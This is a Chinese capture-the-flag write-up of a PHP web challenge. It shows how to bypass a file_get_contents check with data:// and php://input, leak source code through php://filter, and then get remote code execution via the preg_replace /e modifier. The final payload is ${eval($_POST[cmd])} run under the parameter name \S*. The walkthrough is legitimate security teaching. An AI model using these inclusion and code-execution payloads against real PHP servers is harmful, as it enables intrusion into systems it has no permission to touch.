打开题目可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

源码要满足以下的条件:

  1. 通过get请求传入参数textfile
  2. file_get_contents()函数的作用是将$text的内容读取出来,并且读出来的结果完全等于I have a dream
  3. 如果$file的值不为flag,就将next.php包含进来。

可以用以下两种方法绕开file_get_contents()

1. data:// + php://filter

data://通常可以用来执行php代码

1
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

2

2. php://input + php://filter

PHITHON师傅在 https://www.leavesongs.com/PENETRATION/php-filter-magic.html 中就解释过php://filter伪协议的作用

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:

1
readfile("php://filter/read=convert.base64-encode/resource=php://input");

php://input可以访问请求的原始数据的只读流, 可以接收post请求,将请求作为PHP代码的输入传递给目标变量。

所以可以借助php://input来读取post请求中的数据传给$text变量。

1
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php

1

得到回显后解码可得next.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

漏洞函数是preg_replace(),它执行一个正则表达式的搜索和替换。

1
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
  • $pattern存在/e模式修正符,允许代码执行
  • /e模式修正符会让preg_replace()$replacement当作php代码执行,相当于eval($replacement);

分析关键的complex()函数,可以发现关键第一个参数和第三个参数都是我们可以控制的。

如果第三个参数$str匹配到第一个参数的正则表达式,那么就会执行第二个参数中的字符串。

\\1相当于\1,也就是反向引用

对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

举个例子(以下是python):

1
2
3
4
5
6
7
import re

reg = "([a-z]{3}[1-9]{3})\\1"
str = "abc123abc123"
print (re.match(reg, str))

// <re.Match object; span=(0, 12), match='abc123abc123'>

反向引用引用的是()括号中已经匹配到分组,而不是分组中的正则表达式,下面这个例子匹配不到任何东西

1
2
3
4
5
6
7
import re

reg = "([a-z]{3}[1-9]{3})\\1"
str = "abc123xyz123"
print (re.match(reg, str))

// None

ps: python中表示反向引用需要两个斜杠。

回到题目本身

1
2
3
4
5
6
7
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

可以看到反向引用元素\1并不在正则表达式中,但是这并没关系,前面已经说过了,匹配到的元素会被存储到一个临时缓冲区中,缓冲区可以用\n访问,\1就表示访问第一个缓冲区,也就说,\1的值由临时缓冲区中的第一个值来决定。

下面的两个例子就可以成功执行phpinfo()命令:

1
2
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', '{${phpinfo()}}');

3

1
2
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', '${phpinfo()}');

5

这里比较难理解的是{${phpinfo()}}和${phpinfo()},这是php中的可变变量,具体参考 https://www.php.net/manual/zh/language.variables.variable.php

要理解为什么是${{phpinfo()}}很简单,我们只要理解为什么单纯的使用phpinfo()不行就可以了。按照前面的分析,用正则.*去匹配phpinfo()的结果就是phpinfo(),替换到strtolower("\\1")中得到的结果是:

1
strtolower("phpinfo()");

这种情况下什么都不会被执行,因为php不会执行双引号中的函数。

4

这是因为在php中,单引号中变量不会被处理;双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果,如果双引号中的内容是函数,则不会被替换和执行。

这里采取的方式是用{${}}或者是${}构造出一个变量,这样php解释器就会去解析(这里的解析指的就是执行){${}}或是${}中的内容。

7

${}也一样会被php解析器解析,所以phpinfo()函数会被执行。

6

再次回到这道题本身,所以我们可以构造这样的payload:

1
2
3
next.php/?.*=${system($_POST[cmd])}

// POST : cmd=system('cat /flag');

并没有返回有用信息。

这是因为php会将通过$_GET请求传入的参数中的非法字符转换为下划线,从而导致了正则匹配失效。当我们通过_GET[]请求传入参数时,可以看到只会输出{${phpinfo()}}

8

var_dump()打印一下,可以看到.*经过处理之后变成了_* :

9

可以fuzz一下看php会将哪些敏感符号转化为下划线_测试发现这里分成两种情况:

  1. 非法字符为首字符时,发现只有.符号会被替换为_

    10

  2. 非法字符不为首字符时

    11

这里可以用\S来替代.符号

1
\S = [^\t\n\v]

\S表示匹配除\t\n\v以为的所有字符,最终payload:

1
2
3
next.php?\S*=${eval($_POST[cmd])}

// POST : cmd=system('cat /flag');

12

参考

https://xz.aliyun.com/t/2557